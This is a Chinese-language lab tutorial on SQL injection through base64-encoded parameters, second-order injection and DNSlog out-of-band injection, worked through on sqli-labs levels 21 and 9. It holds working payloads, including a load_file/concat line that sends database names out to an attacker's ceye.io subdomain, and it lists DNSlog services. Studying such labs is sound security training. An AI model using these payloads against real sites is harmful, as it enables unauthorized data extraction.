WEB漏洞-SQL注入之二次,加解密,DNS等注入

SQL注入.png

加解密注入

即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器

  • http://www.xxx.com/index.php?id=MQ==
  • 加密部分:MQ==
  • 解密结果:1 相当于id=1
  • base64加密结果:MSBhbmQgMT0x
  • 语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x
  • 在注入过程中都需要对参数进行加密

二次注入

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。详细点来讲,就是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的

2183445-20210801183615434-1568617680.png

  • 操作过程
  1. 插入恶意数据.第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据.在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
  • 思路
  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

DNSlog注入

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息.在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

  • 推荐平台
  1. http://www.dnslog.cn
  2. http://ceye.io/
  3. http://admin.dnslog.link

涉及资源

案例演示

sqlilabs-less21-cookie&加解密注入

使用admin进行登录.登录成功之后会显示一系列信息.登录失败会显示失败信息。登录后发现uname的值不是admin而是一串乱码,根据格式猜想是Base64加密

image.png

这是因为将admin进行base64转码 YWRtaW4= 解码之后为admin

image (1).png

在尝试之后,尝试查询数据库版本,注入语句在加密后传入

-1 ') union select 1,2,database()# 加密

image (2).png

sqlilabs-less9-load_file&dnslog带外注入

利用了mysql数据库中的load_file()函数,所以需要高权限用户才可以尝试,该函数可以读取本地文件,也可以尝试读取链接形式的文件,如果把注入查询的内容拼接到这个函数中,就会在dns解析记录上留下痕迹,从而获取注入结果

image (3).png

首先在http://ceye.io/注册一个账号,记录以下信息

image (5).png

image (4).png

less 9没有任何显示信息

http://192.168.50.10:83/sqli-labs/Less-9/?id=1' and load_file(concat("\\\\",database(),".xxxx.ceye.io\\xxx.txt"))--+
  • \\\\ 四个\不能少
  • 注意.xxxx.ceye.io是你的子域名,前面要加个.
  • 后面的\\xxx.txt\\是必须的,xxx.txt这部分随便是什么内容,不能为空。

image (6).png

  • 在平台上查看返回的值

image (7).png